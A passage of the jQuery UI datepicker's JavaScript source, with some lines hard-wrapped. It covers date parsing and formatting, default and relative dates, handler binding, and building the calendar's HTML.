	   See formatDate below for the possible formats.

	   @param  format    string - the expected format of the date
	   @param  value     string - the date in the above format
	   @param  settings  Object - attributes include:
	                     shortYearCutoff  number - the cutoff year for
determining the century (optional)
	                     dayNamesShort    string[7] - abbreviated names of the
days from Sunday (optional)
	                     dayNames         string[7] - names of the days from
Sunday (optional)
	                     monthNamesShort  string[12] - abbreviated names of
the months (optional)
	                     monthNames       string[12] - names of the months
(optional)
	   @return  Date - the extracted date value or null if value is blank */
	parseDate: function (format, value, settings) {
		if (format == null || value == null)
			throw 'Invalid arguments';
		value = (typeof value == 'object' ? value.toString() : value +
'');
		if (value == '')
			return null;
		var shortYearCutoff = (settings ? settings.shortYearCutoff : null) ||
this._defaults.shortYearCutoff;
		shortYearCutoff = (typeof shortYearCutoff != 'string' ?
shortYearCutoff :
				new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
		var dayNamesShort = (settings ? settings.dayNamesShort : null) ||
this._defaults.dayNamesShort;
		var dayNames = (settings ? settings.dayNames : null) ||
this._defaults.dayNames;
		var monthNamesShort = (settings ? settings.monthNamesShort : null) ||
this._defaults.monthNamesShort;
		var monthNames = (settings ? settings.monthNames : null) ||
this._defaults.monthNames;
		var year = -1;
		var month = -1;
		var day = -1;
		var doy = -1;
		var literal = false;
		// Check whether a format character is doubled
		var lookAhead = function(match) {
			var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
			if (matches)
				iFormat++;
			return matches;
		};
		// Extract a number from the string value
		var getNumber = function(match) {
			var isDoubled = lookAhead(match);
			var size = (match == '@' ? 14 : (match == '!' ? 20 :
				(match == 'y' && isDoubled ? 4 : (match ==
'o' ? 3 : 2))));
			var digits = new RegExp('^\\d{1,' + size + '}');
			var num = value.substring(iValue).match(digits);
			if (!num)
				throw 'Missing number at position ' + iValue;
			iValue += num[0].length;
			return parseInt(num[0], 10);
		};
		// Extract a name from the string value and convert to an index
		var getName = function(match, shortNames, longNames) {
			var names = $.map(lookAhead(match) ? longNames : shortNames, function
(v, k) {
				return [ [k, v] ];
			}).sort(function (a, b) {
				return -(a[1].length - b[1].length);
			});
			var index = -1;
			$.each(names, function (i, pair) {
				var name = pair[1];
				if (value.substr(iValue, name.length).toLowerCase() ==
name.toLowerCase()) {
					index = pair[0];
					iValue += name.length;
					return false;
				}
			});
			if (index != -1)
				return index + 1;
			else
				throw 'Unknown name at position ' + iValue;
		};
		// Confirm that a literal character matches the string value
		var checkLiteral = function() {
			if (value.charAt(iValue) != format.charAt(iFormat))
				throw 'Unexpected literal at position ' + iValue;
			iValue++;
		};
		var iValue = 0;
		for (var iFormat = 0; iFormat < format.length; iFormat++) {
			if (literal)
				if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
					literal = false;
				else
					checkLiteral();
			else
				switch (format.charAt(iFormat)) {
					case 'd':
						day = getNumber('d');
						break;
					case 'D':
						getName('D', dayNamesShort, dayNames);
						break;
					case 'o':
						doy = getNumber('o');
						break;
					case 'm':
						month = getNumber('m');
						break;
					case 'M':
						month = getName('M', monthNamesShort, monthNames);
						break;
					case 'y':
						year = getNumber('y');
						break;
					case '@':
						var date = new Date(getNumber('@'));
						year = date.getFullYear();
						month = date.getMonth() + 1;
						day = date.getDate();
						break;
					case '!':
						var date = new Date((getNumber('!') - this._ticksTo1970) /
10000);
						year = date.getFullYear();
						month = date.getMonth() + 1;
						day = date.getDate();
						break;
					case "'":
						if (lookAhead("'"))
							checkLiteral();
						else
							literal = true;
						break;
					default:
						checkLiteral();
				}
		}
		if (iValue < value.length){
			var extra = value.substr(iValue);
			if (!/^\s+/.test(extra)) {
				throw "Extra/unparsed characters found in date: " + extra;
			}
		}
		if (year == -1)
			year = new Date().getFullYear();
		else if (year < 100)
			year += new Date().getFullYear() - new Date().getFullYear() % 100 +
				(year <= shortYearCutoff ? 0 : -100);
		if (doy > -1) {
			month = 1;
			day = doy;
			do {
				var dim = this._getDaysInMonth(year, month - 1);
				if (day <= dim)
					break;
				month++;
				day -= dim;
			} while (true);
		}
		var date = this._daylightSavingAdjust(new Date(year, month - 1, day));
		if (date.getFullYear() != year || date.getMonth() + 1 != month ||
date.getDate() != day)
			throw 'Invalid date'; // E.g. 31/02/00
		return date;
	},

	/* Standard date formats. */
	ATOM: 'yy-mm-dd', // RFC 3339 (ISO 8601)
	COOKIE: 'D, dd M yy',
	ISO_8601: 'yy-mm-dd',
	RFC_822: 'D, d M y',
	RFC_850: 'DD, dd-M-y',
	RFC_1036: 'D, d M y',
	RFC_1123: 'D, d M yy',
	RFC_2822: 'D, d M yy',
	RSS: 'D, d M y', // RFC 822
	TICKS: '!',
	TIMESTAMP: '@',
	W3C: 'yy-mm-dd', // ISO 8601

	_ticksTo1970: (((1970 - 1) * 365 + Math.floor(1970 / 4) - Math.floor(1970
/ 100) +
		Math.floor(1970 / 400)) * 24 * 60 * 60 * 10000000),

	/* Format a date object into a string value.
	   The format can be combinations of the following:
	   d  - day of month (no leading zero)
	   dd - day of month (two digit)
	   o  - day of year (no leading zeros)
	   oo - day of year (three digit)
	   D  - day name short
	   DD - day name long
	   m  - month of year (no leading zero)
	   mm - month of year (two digit)
	   M  - month name short
	   MM - month name long
	   y  - year (two digit)
	   yy - year (four digit)
	   @ - Unix timestamp (ms since 01/01/1970)
	   ! - Windows ticks (100ns since 01/01/0001)
	   '...' - literal text
	   '' - single quote

	   @param  format    string - the desired format of the date
	   @param  date      Date - the date value to format
	   @param  settings  Object - attributes include:
	                     dayNamesShort    string[7] - abbreviated names of the
days from Sunday (optional)
	                     dayNames         string[7] - names of the days from
Sunday (optional)
	                     monthNamesShort  string[12] - abbreviated names of
the months (optional)
	                     monthNames       string[12] - names of the months
(optional)
	   @return  string - the date in the above format */
	formatDate: function (format, date, settings) {
		if (!date)
			return '';
		var dayNamesShort = (settings ? settings.dayNamesShort : null) ||
this._defaults.dayNamesShort;
		var dayNames = (settings ? settings.dayNames : null) ||
this._defaults.dayNames;
		var monthNamesShort = (settings ? settings.monthNamesShort : null) ||
this._defaults.monthNamesShort;
		var monthNames = (settings ? settings.monthNames : null) ||
this._defaults.monthNames;
		// Check whether a format character is doubled
		var lookAhead = function(match) {
			var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
			if (matches)
				iFormat++;
			return matches;
		};
		// Format a number, with leading zero if necessary
		var formatNumber = function(match, value, len) {
			var num = '' + value;
			if (lookAhead(match))
				while (num.length < len)
					num = '0' + num;
			return num;
		};
		// Format a name, short or long as requested
		var formatName = function(match, value, shortNames, longNames) {
			return (lookAhead(match) ? longNames[value] : shortNames[value]);
		};
		var output = '';
		var literal = false;
		if (date)
			for (var iFormat = 0; iFormat < format.length; iFormat++) {
				if (literal)
					if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
						literal = false;
					else
						output += format.charAt(iFormat);
				else
					switch (format.charAt(iFormat)) {
						case 'd':
							output += formatNumber('d', date.getDate(), 2);
							break;
						case 'D':
							output += formatName('D', date.getDay(), dayNamesShort,
dayNames);
							break;
						case 'o':
							output += formatNumber('o',
								Math.round((new Date(date.getFullYear(), date.getMonth(),
date.getDate()).getTime() - new Date(date.getFullYear(), 0, 0).getTime()) /
86400000), 3);
							break;
						case 'm':
							output += formatNumber('m', date.getMonth() + 1, 2);
							break;
						case 'M':
							output += formatName('M', date.getMonth(),
monthNamesShort, monthNames);
							break;
						case 'y':
							output += (lookAhead('y') ? date.getFullYear() :
								(date.getYear() % 100 < 10 ? '0' : '') +
date.getYear() % 100);
							break;
						case '@':
							output += date.getTime();
							break;
						case '!':
							output += date.getTime() * 10000 + this._ticksTo1970;
							break;
						case "'":
							if (lookAhead("'"))
								output += "'";
							else
								literal = true;
							break;
						default:
							output += format.charAt(iFormat);
					}
			}
		return output;
	},

	/* Extract all possible characters from the date format. */
	_possibleChars: function (format) {
		var chars = '';
		var literal = false;
		// Check whether a format character is doubled
		var lookAhead = function(match) {
			var matches = (iFormat + 1 < format.length &&
format.charAt(iFormat + 1) == match);
			if (matches)
				iFormat++;
			return matches;
		};
		for (var iFormat = 0; iFormat < format.length; iFormat++)
			if (literal)
				if (format.charAt(iFormat) == "'" &&
!lookAhead("'"))
					literal = false;
				else
					chars += format.charAt(iFormat);
			else
				switch (format.charAt(iFormat)) {
					case 'd': case 'm': case 'y': case
'@':
						chars += '0123456789';
						break;
					case 'D': case 'M':
						return null; // Accept anything
					case "'":
						if (lookAhead("'"))
							chars += "'";
						else
							literal = true;
						break;
					default:
						chars += format.charAt(iFormat);
				}
		return chars;
	},

	/* Get a setting value, defaulting if necessary. */
	_get: function(inst, name) {
		return inst.settings[name] !== undefined ?
			inst.settings[name] : this._defaults[name];
	},

	/* Parse existing date and initialise date picker. */
	_setDateFromField: function(inst, noDefault) {
		if (inst.input.val() == inst.lastVal) {
			return;
		}
		var dateFormat = this._get(inst, 'dateFormat');
		var dates = inst.lastVal = inst.input ? inst.input.val() : null;
		var date, defaultDate;
		date = defaultDate = this._getDefaultDate(inst);
		var settings = this._getFormatConfig(inst);
		try {
			date = this.parseDate(dateFormat, dates, settings) || defaultDate;
		} catch (event) {
			this.log(event);
			dates = (noDefault ? '' : dates);
		}
		inst.selectedDay = date.getDate();
		inst.drawMonth = inst.selectedMonth = date.getMonth();
		inst.drawYear = inst.selectedYear = date.getFullYear();
		inst.currentDay = (dates ? date.getDate() : 0);
		inst.currentMonth = (dates ? date.getMonth() : 0);
		inst.currentYear = (dates ? date.getFullYear() : 0);
		this._adjustInstDate(inst);
	},

	/* Retrieve the default date shown on opening. */
	_getDefaultDate: function(inst) {
		return this._restrictMinMax(inst,
			this._determineDate(inst, this._get(inst, 'defaultDate'), new
Date()));
	},

	/* A date may be specified as an exact value or a relative one. */
	_determineDate: function(inst, date, defaultDate) {
		var offsetNumeric = function(offset) {
			var date = new Date();
			date.setDate(date.getDate() + offset);
			return date;
		};
		var offsetString = function(offset) {
			try {
				return $.datepicker.parseDate($.datepicker._get(inst,
'dateFormat'),
					offset, $.datepicker._getFormatConfig(inst));
			}
			catch (e) {
				// Ignore
			}
			var date = (offset.toLowerCase().match(/^c/) ?
				$.datepicker._getDate(inst) : null) || new Date();
			var year = date.getFullYear();
			var month = date.getMonth();
			var day = date.getDate();
			var pattern = /([+-]?[0-9]+)\s*(d|D|w|W|m|M|y|Y)?/g;
			var matches = pattern.exec(offset);
			while (matches) {
				switch (matches[2] || 'd') {
					case 'd' : case 'D' :
						day += parseInt(matches[1],10); break;
					case 'w' : case 'W' :
						day += parseInt(matches[1],10) * 7; break;
					case 'm' : case 'M' :
						month += parseInt(matches[1],10);
						day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
						break;
					case 'y': case 'Y' :
						year += parseInt(matches[1],10);
						day = Math.min(day, $.datepicker._getDaysInMonth(year, month));
						break;
				}
				matches = pattern.exec(offset);
			}
			return new Date(year, month, day);
		};
		var newDate = (date == null || date === '' ? defaultDate :
(typeof date == 'string' ? offsetString(date) :
			(typeof date == 'number' ? (isNaN(date) ? defaultDate :
offsetNumeric(date)) : new Date(date.getTime()))));
		newDate = (newDate && newDate.toString() == 'Invalid
Date' ? defaultDate : newDate);
		if (newDate) {
			newDate.setHours(0);
			newDate.setMinutes(0);
			newDate.setSeconds(0);
			newDate.setMilliseconds(0);
		}
		return this._daylightSavingAdjust(newDate);
	},

	/* Handle switch to/from daylight saving.
	   Hours may be non-zero on daylight saving cut-over:
	   > 12 when midnight changeover, but then cannot generate
	   midnight datetime, so jump to 1AM, otherwise reset.
	   @param  date  (Date) the date to check
	   @return  (Date) the corrected date */
	_daylightSavingAdjust: function(date) {
		if (!date) return null;
		date.setHours(date.getHours() > 12 ? date.getHours() + 2 : 0);
		return date;
	},

	/* Set the date(s) directly. */
	_setDate: function(inst, date, noChange) {
		var clear = !date;
		var origMonth = inst.selectedMonth;
		var origYear = inst.selectedYear;
		var newDate = this._restrictMinMax(inst, this._determineDate(inst, date,
new Date()));
		inst.selectedDay = inst.currentDay = newDate.getDate();
		inst.drawMonth = inst.selectedMonth = inst.currentMonth =
newDate.getMonth();
		inst.drawYear = inst.selectedYear = inst.currentYear =
newDate.getFullYear();
		if ((origMonth != inst.selectedMonth || origYear != inst.selectedYear)
&& !noChange)
			this._notifyChange(inst);
		this._adjustInstDate(inst);
		if (inst.input) {
			inst.input.val(clear ? '' : this._formatDate(inst));
		}
	},

	/* Retrieve the date(s) directly. */
	_getDate: function(inst) {
		var startDate = (!inst.currentYear || (inst.input &&
inst.input.val() == '') ? null :
			this._daylightSavingAdjust(new Date(
			inst.currentYear, inst.currentMonth, inst.currentDay)));
			return startDate;
	},

	/* Attach the onxxx handlers.  These are declared statically so
	 * they work with static code transformers like Caja.
	 */
	_attachHandlers: function(inst) {
		var stepMonths = this._get(inst, 'stepMonths');
		var id = '#' + inst.id.replace( /\\\\/g, "\\" );
		inst.dpDiv.find('[data-handler]').map(function () {
			var handler = {
				prev: function () {
					window['DP_jQuery_' + dpuuid].datepicker._adjustDate(id,
-stepMonths, 'M');
				},
				next: function () {
					window['DP_jQuery_' + dpuuid].datepicker._adjustDate(id,
+stepMonths, 'M');
				},
				hide: function () {
					window['DP_jQuery_' + dpuuid].datepicker._hideDatepicker();
				},
				today: function () {
					window['DP_jQuery_' + dpuuid].datepicker._gotoToday(id);
				},
				selectDay: function () {
					window['DP_jQuery_' + dpuuid].datepicker._selectDay(id,
+this.getAttribute('data-month'),
+this.getAttribute('data-year'), this);
					return false;
				},
				selectMonth: function () {
					window['DP_jQuery_' +
dpuuid].datepicker._selectMonthYear(id, this, 'M');
					return false;
				},
				selectYear: function () {
					window['DP_jQuery_' +
dpuuid].datepicker._selectMonthYear(id, this, 'Y');
					return false;
				}
			};
			$(this).bind(this.getAttribute('data-event'),
handler[this.getAttribute('data-handler')]);
		});
	},

	/* Generate the HTML for the current state of the date picker. */
	_generateHTML: function(inst) {
		var today = new Date();
		today = this._daylightSavingAdjust(
			new Date(today.getFullYear(), today.getMonth(), today.getDate())); //
clear time
		var isRTL = this._get(inst, 'isRTL');
		var showButtonPanel = this._get(inst, 'showButtonPanel');
		var hideIfNoPrevNext = this._get(inst, 'hideIfNoPrevNext');
		var navigationAsDateFormat = this._get(inst,
'navigationAsDateFormat');
		var numMonths = this._getNumberOfMonths(inst);
		var showCurrentAtPos = this._get(inst, 'showCurrentAtPos');
		var stepMonths = this._get(inst, 'stepMonths');
		var isMultiMonth = (numMonths[0] != 1 || numMonths[1] != 1);
		var currentDate = this._daylightSavingAdjust((!inst.currentDay ? new
Date(9999, 9, 9) :
			new Date(inst.currentYear, inst.currentMonth, inst.currentDay)));
		var minDate = this._getMinMaxDate(inst, 'min');
		var maxDate = this._getMinMaxDate(inst, 'max');
		var drawMonth = inst.drawMonth - showCurrentAtPos;
		var drawYear = inst.drawYear;
		if (drawMonth < 0) {
			drawMonth += 12;
			drawYear--;
		}
		if (maxDate) {
			var maxDraw = this._daylightSavingAdjust(new Date(maxDate.getFullYear(),
				maxDate.getMonth() - (numMonths[0] * numMonths[1]) + 1,
maxDate.getDate()));
			maxDraw = (minDate && maxDraw < minDate ? minDate : maxDraw);
			while (this._daylightSavingAdjust(new Date(drawYear, drawMonth, 1)) >
maxDraw) {
				drawMonth--;
				if (drawMonth < 0) {
					drawMonth = 11;
					drawYear--;
				}
			}
		}
		inst.drawMonth = drawMonth;
		inst.drawYear = drawYear;
		var prevText = this._get(inst, 'prevText');
		prevText = (!navigationAsDateFormat ? prevText :
this.formatDate(prevText,
			this._daylightSavingAdjust(new Date(drawYear, drawMonth - stepMonths,
1)),
			this._getFormatConfig(inst)));
		var prev = (this._canAdjustMonth(inst, -1, drawYear, drawMonth) ?
			'<a class="ui-datepicker-prev ui-corner-all"
data-handler="prev" data-event="click"' +
			' title="' + prevText + '"><span
class="ui-icon ui-icon-circle-triangle-' + ( isRTL ?
'e' : 'w') + '">' + prevText +
'</span></a>' :
			(hideIfNoPrevNext ? '' : '<a
class="ui-datepicker-prev ui-corner-all ui-state-disabled"
title="'+ prevText +'"><span class="ui-icon
ui-icon-circle-triangle-' + ( isRTL ? 'e' : 'w') +
'">' + prevText + '</span></a>'));
		var nextText = this._get(inst, 'nextText');
		nextText = (!navigationAsDateFormat ? nextText :
this.formatDate(nextText,
			this._daylightSavingAdjust(new Date(drawYear, drawMonth + stepMonths,
1)),
			this._getFormatConfig(inst)));
		var next = (this._canAdjustMonth(inst, +1, drawYear, drawMonth) ?
			'<a class="ui-datepicker-next ui-corner-all"
data-handler="next" data-event="click"' +
			' title="' + nextText + '"><span
class="ui-icon ui-icon-circle-triangle-' + ( isRTL ?
'w' : 'e') + '">' + nextText +
'</span></a>' :
			(hideIfNoPrevNext ? '' : '<a
class="ui-datepicker-next ui-corner-all ui-state-disabled"
title="'+ nextText + '"><span class="ui-icon
ui-icon-circle-triangle-' + ( isRTL ? 'w' : 'e') +
'">' + nextText + '</span></a>'));
		var currentText = this._get(inst, 'currentText');
		var gotoDate = (this._get(inst, 'gotoCurrent') &&
inst.currentDay ? currentDate : today);
		currentText = (!navigationAsDateFormat ? currentText :
			this.formatDate(currentText, gotoDate, this._getFormatConfig(inst)));
		var controls = (!inst.inline ? '<button type="button"
class="ui-datepicker-close ui-state-default ui-priority-primary
ui-corner-all" data-handler="hide"
data-event="click">' +
			this._get(inst, 'closeText') + '</button>' :
'');
		var buttonPanel = (showButtonPanel) ? '<div
class="ui-datepicker-buttonpane ui-widget-content">' +
(isRTL ? controls : '') +
			(this._isInRange(inst, gotoDate) ? '<button
type="button" class="ui-datepicker-current ui-state-default
ui-priority-secondary ui-corner-all" data-handler="today"
data-event="click"' +
			'>' + currentText + '</button>' :
'') + (isRTL ? '' : controls) +
'</div>' : '';
		var firstDay = parseInt(this._get(inst, 'firstDay'),10);
		firstDay = (isNaN(firstDay) ? 0 : firstDay);
		var showWeek = this._get(inst, 'showWeek');
		var dayNames = this._get(inst, 'dayNames');
		var dayNamesShort = this._get(inst, 'dayNamesShort');
		var dayNamesMin = this._get(inst, 'dayNamesMin');
		var monthNames = this._get(inst, 'monthNames');
		var monthNamesShort = this._get(inst, 'monthNamesShort');
		var beforeShowDay = this._get(inst, 'beforeShowDay');
		var showOtherMonths = this._get(inst, 'showOtherMonths');
		var selectOtherMonths = this._get(inst, 'selectOtherMonths');
		var calculateWeek = this._get(inst, 'calculateWeek') ||
this.iso8601Week;
		var defaultDate = this._getDefaultDate(inst);
		var html = '';
		for (var row = 0; row < numMonths[0]; row++) {
			var group = '';
			this.maxRows = 4;
			for (var col = 0; col < numMonths[1]; col++) {
				var selectedDate = this._daylightSavingAdjust(new Date(drawYear,
drawMonth, inst.selectedDay));
				var cornerClass = ' ui-corner-all';
				var calender = '';
				if (isMultiMonth) {
					calender += '<div class="ui-datepicker-group';
					if (numMonths[1] > 1)
						switch (col) {
							case 0: calender += ' ui-datepicker-group-first';
								cornerClass = ' ui-corner-' + (isRTL ? 'right'
: 'left'); break;
							case numMonths[1]-1: calender += '
ui-datepicker-group-last';
								cornerClass = ' ui-corner-' + (isRTL ? 'left' :
'right'); break;
							default: calender += ' ui-datepicker-group-middle';
cornerClass = ''; break;
						}
					calender += '">';
				}
				calender += '<div class="ui-datepicker-header
ui-widget-header ui-helper-clearfix' + cornerClass +
'">' +
					(/all|left/.test(cornerClass) && row == 0 ? (isRTL ? next :
prev) : '') +
					(/all|right/.test(cornerClass) && row == 0 ? (isRTL ? prev :
next) : '') +
					this._generateMonthYearHeader(inst, drawMonth, drawYear, minDate,
maxDate,
					row > 0 || col > 0, monthNames, monthNamesShort) + // draw month
headers
					'</div><table
class="ui-datepicker-calendar"><thead>' +
					'<tr>';
				var thead = (showWeek ? '<th
class="ui-datepicker-week-col">' + this._get(inst,
'weekHeader') + '</th>' : '');
				for (var dow = 0; dow < 7; dow++) { // days of the week
					var day = (dow + firstDay) % 7;
					thead += '<th' + ((dow + firstDay + 6) % 7 >= 5 ?
' class="ui-datepicker-week-end"' : '') +
'>' +
						'<span title="' + dayNames[day] +
'">' + dayNamesMin[day] +
'</span></th>';
				}
				calender += thead + '</tr></thead><tbody>';
				var daysInMonth = this._getDaysInMonth(drawYear, drawMonth);
				if (drawYear == inst.selectedYear && drawMonth ==
inst.selectedMonth)
					inst.selectedDay = Math.min(inst.selectedDay, daysInMonth);
				var leadDays = (this._getFirstDayOfMonth(drawYear, drawMonth) -
firstDay + 7) % 7;
				var curRows = Math.ceil((leadDays + daysInMonth) / 7); // calculate the
number of rows to generate
				var numRows = (isMultiMonth ? this.maxRows > curRows ? this.maxRows
: curRows : curRows); //If multiple months, use the higher number of rows
(see #7043)
				this.maxRows = numRows;
				var printDate = this._daylightSavingAdjust(new Date(drawYear,
drawMonth, 1 - leadDays));
				for (var dRow = 0; dRow < numRows; dRow++) { // create date picker
rows
					calender += '<tr>';
					var tbody = (!showWeek ? '' : '<td
class="ui-datepicker-week-col">' +
						this._get(inst, 'calculateWeek')(printDate) +
'</td>');
					for (var dow = 0; dow < 7; dow++) { // create date picker days
						var daySettings = (beforeShowDay ?
							beforeShowDay.apply((inst.input ? inst.input[0] : null),
[printDate]) : [true, '']);
						var otherMonth = (printDate.getMonth() != drawMonth);
						var unselectable = (otherMonth && !selectOtherMonths) ||
!daySettings[0] ||
							(minDate && printDate < minDate) || (maxDate &&
printDate > maxDate);
						tbody += '<td class="' +
							((dow + firstDay + 6) % 7 >= 5 ? '
ui-datepicker-week-end' : '') + // highlight weekends
							(otherMonth ? ' ui-datepicker-other-month' : '')
+ // highlight days from other months
							((printDate.getTime() == selectedDate.getTime() && drawMonth
== inst.selectedMonth && inst._keyEvent) || // user pressed key
							(defaultDate.getTime() == printDate.getTime() &&
defaultDate.getTime() == selectedDate.getTime()) ?
							// or defaultDate is current printedDate and defaultDate is
selectedDate
							' ' + this._dayOverClass : '') + // highlight
selected day
							(unselectable ? ' ' + this._unselectableClass + '
ui-state-disabled': '') +  // highlight unselectable days
							(otherMonth && !showOtherMonths ? '' : '
' + daySettings[1] + // highlight custom dates
							(printDate.getTime() == currentDate.getTime() ? ' ' +
this._currentClass : '') + // highlight selected day
							(printDate.getTime() == today.getTime() ? '
ui-datepicker-today' : '')) + '"' + //
highlight today (if different)
							((!otherMonth || showOtherMonths) && daySettings[2] ? '
title="' + daySettings[2] + '"' : '') +
// cell title
							(unselectable ? '' : '
data-handler="selectDay" data-event="click"
data-month="' + printDate.getMonth() + '"
data-year="' + printDate.getFullYear() + '"') +
'>' + // actions
							(otherMonth && !showOtherMonths ? '&#xa0;' :
// display for other months
							(unselectable ? '<span
class="ui-state-default">' + printDate.getDate() +
'</span>' : '<a class="ui-state-default'
+
							(printDate.getTime() == today.getTime() ? '
ui-state-highlight' : '') +
							(printDate.getTime() == currentDate.getTime() ? '
ui-state-active' : '') + // highlight selected day
							(otherMonth ? ' ui-priority-secondary' : '') +
// distinguish dates from other months
							'" href="#">' + printDate.getDate() +
'</a>')) + '</td>'; // display selectable
date
						printDate.setDate(printDate.getDate() + 1);
						printDate = this._daylightSavingAdjust(printDate);
					}
					calender += tbody + '</tr>';
				}
				drawMonth++;
				if (drawMonth > 11) {
					drawMonth = 0;
					drawYear++;
				}
				calender += '</tbody></table>' + (isMultiMonth ?
'</div>' +
							((numMonths[0] > 0 && col == numMonths[1]-1) ?
'<div
class="ui-datepicker-row-break"></div>' :
'') : '');
				group += calender;
			}
			html += group;
		}
		html += buttonPanel + ($.ui.ie6 && !inst.inline ?
			'<iframe src="javascript:false;"
class="ui-datepicker-cover"
frameborder="0"></iframe>' : '');
		inst._keyEvent = false;
		return html;
	},

	/* Generate the month and year header. */
	_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate,
maxDate,
			secondary, monthNames, monthNamesShort) {
		var changeMonth = this._get(inst, 'changeMonth');
		var changeYear = this._get(inst, 'changeYear');
		var showMonthAfterYear = this._get(inst, 'showMonthAfterYear');
		var html = '<div class="ui-datepicker-title">';
		var monthHtml = '';
		// month selection
		if (secondary || !changeMonth)
			monthHtml += '<span
class="ui-datepicker-month">' + monthNames[drawMonth] +
'</span>';
		else {
			var inMinYear = (minDate && minDate.getFullYear() == drawYear);
			var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
			monthHtml += '<select class="ui-datepicker-month"
data-handler="selectMonth"
data-event="change">';
			for (var month = 0; month < 12; month++) {
				if ((!inMinYear || month >= minDate.getMonth()) &&
						(!inMaxYear || month <= maxDate.getMonth()))
					monthHtml += '<option value="' + month +
'"' +
						(month == drawMonth ? ' selected="selected"' :
'') +
						'>' + monthNamesShort[month] +
'</option>';
			}
			monthHtml += '</select>';
		}
		if (!showMonthAfterYear)
			html += monthHtml + (secondary || !(changeMonth && changeYear) ?
'&#xa0;' : '');
		// year selection
		if ( !inst.yearshtml ) {
			inst.yearshtml = '';
			if (secondary || !changeYear)
				html += '<span class="ui-datepicker-year">' +
drawYear + '</span>';
			else {
				// determine range of years to display
				var years = this._get(inst,
'yearRange').split(':');
				var thisYear = new Date().getFullYear();
				var determineYear = function(value) {
					var year = (value.match(/c[+-].*/) ? drawYear +
parseInt(value.substring(1), 10) :
						(value.match(/[+-].*/) ? thisYear + parseInt(value, 10) :
						parseInt(value, 10)));
					return (isNaN(year) ? thisYear : year);
				};
				var year = determineYear(years[0]);
				var endYear = Math.max(year, determineYear(years[1] || ''));
				year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
				endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) :
endYear);
				inst.yearshtml += '<select class="ui-datepicker-year"
data-handler="selectYear"
data-event="change">';
				for (; year <= endYear; year++) {
					inst.yearshtml += '<option value="' + year +
'"' +
						(year == drawYear ? ' selected="selected"' :
'') +
						'>' + year + '</option>';
				}
				inst.yearshtml += '</select>';

				html += inst.yearshtml;
				inst.yearshtml = null;
			}
		}
		html += this._get(inst, 'yearSuffix');
		if (showMonthAfterYear)
			html += (secondary || !(changeMonth && changeYear) ?
'&#xa0;' : '') + monthHtml;
		html += '</div>'; // Close datepicker_header
		return html;
	},

	/* Adjust one of the date sub-fields. */
	_adjustInstDate: function(inst, offset, period) {
		var year = inst.drawYear + (period == 'Y' ? offset : 0);
		var month = inst.drawMonth + (period == 'M' ? offset : 0);
		var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) +
			(period == 'D' ? offset : 0);
		var date = this._restrictMinMax(inst,
			this._daylightSavingAdjust(new Date(year, month, day)));
		inst.selectedDay = date.getDate();
		inst.drawMonth = inst.selectedMonth = date.getMonth();
		inst.drawYear = inst.selectedYear = date.getFullYear();
		if (period == 'M' || period == 'Y')
			this._notifyChange(inst);
	},

	/* Ensure a date is within any min/max bounds. */
	_restrictMinMax: function(inst, date) {
		var minDate = this._getMinMaxDate(inst, 'min');
		var maxDate = this._getMinMaxDate(inst, 'max');
		var newDate = (minDate && date < minDate ? minDate : date);
		newDate = (maxDate && newDate > maxDate ? maxDate : newDate);
		return newDate;
	},

	/* Notify change of month/year. */
	_notifyChange: function(inst) {
		var onChange = this._get(inst, 'onChangeMonthYear');
		if (onChange)
			onChange.apply((inst.input ? inst.input[0] : null),
				[inst.selectedYear, inst.selectedMonth + 1, inst]);
	},

	/* Determine the number of months to show. */
	_getNumberOfMonths: function(inst) {
		var numMonths = this._get(inst, 'numberOfMonths');
		return (numMonths == null ? [1, 1] : (typeof numMonths ==
'number' ? [1, numMonths] : numMonths));
	},

	/* Determine the current maximum date - ensure no time components are set.
*/
	_getMinMaxDate: function(inst, minMax) {
		return this._determineDate(inst, this._get(inst, minMax +
'Date'), null);
	},

	/* Find the number of days in a given month. */
	_getDaysInMonth: function(year, month) {
		return 32 - this._daylightSavingAdjust(new Date(year, month,
32)).getDate();
	},

	/* Find the day of the week of the first of a month. */
	_getFirstDayOfMonth: function(year, month) {
		return new Date(year, month, 1).getDay();
	},

	/* Determines if we should allow a "next/prev" month display
change. */
	_canAdjustMonth: function(inst, offset, curYear, curMonth) {
		var numMonths = this._getNumberOfMonths(inst);
		var date = this._daylightSavingAdjust(new Date(curYear,
			curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
		if (offset < 0)
			date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
		return this._isInRange(inst, date);
	},

	/* Is the given date in the accepted range? */
	_isInRange: function(inst, date) {
		var minDate = this._getMinMaxDate(inst, 'min');
		var maxDate = this._getMinMaxDate(inst, 'max');
		return ((!minDate || date.getTime() >= minDate.getTime()) &&
			(!maxDate || date.getTime() <= maxDate.getTime()));
	},

	/* Provide the configuration settings for formatting/parsing. */
	_getFormatConfig: function(inst) {
		var shortYearCutoff = this._get(inst, 'shortYearCutoff');
		shortYearCutoff = (typeof shortYearCutoff != 'string' ?
shortYearCutoff :
			new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
		return {shortYearCutoff: shortYearCutoff,
			dayNamesShort: this._get(inst, 'dayNamesShort'), dayNames:
this._get(inst, 'dayNames'),
			monthNamesShort: this._get(inst, 'monthNamesShort'),
monthNames: this._get(inst, 'monthNames')};
	},

	/* Format the given date for display. */
	_formatDate: function(inst, day, month, year) {
		if (!day) {
			inst.currentDay = inst.selectedDay;
			inst.currentMonth = inst.selectedMonth;
			inst.currentYear = inst.selectedYear;
		}
		var date = (day ? (typeof day == 'object' ? day :
			this._daylightSavingAdjust(new Date(year, month, day))) :
			this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth,
inst.currentDay)));
		return this.formatDate(this._get(inst, 'dateFormat'), date,
this._getFormatConfig(inst));
	}
});

/*
 * Bind hover events for datepicker elements.
 * Done via delegate so the binding only occurs once in the lifetime of the
parent div.
 * Global instActive, set by _updateDatepicker allows the handlers to find
their way back to the active picker.
 */
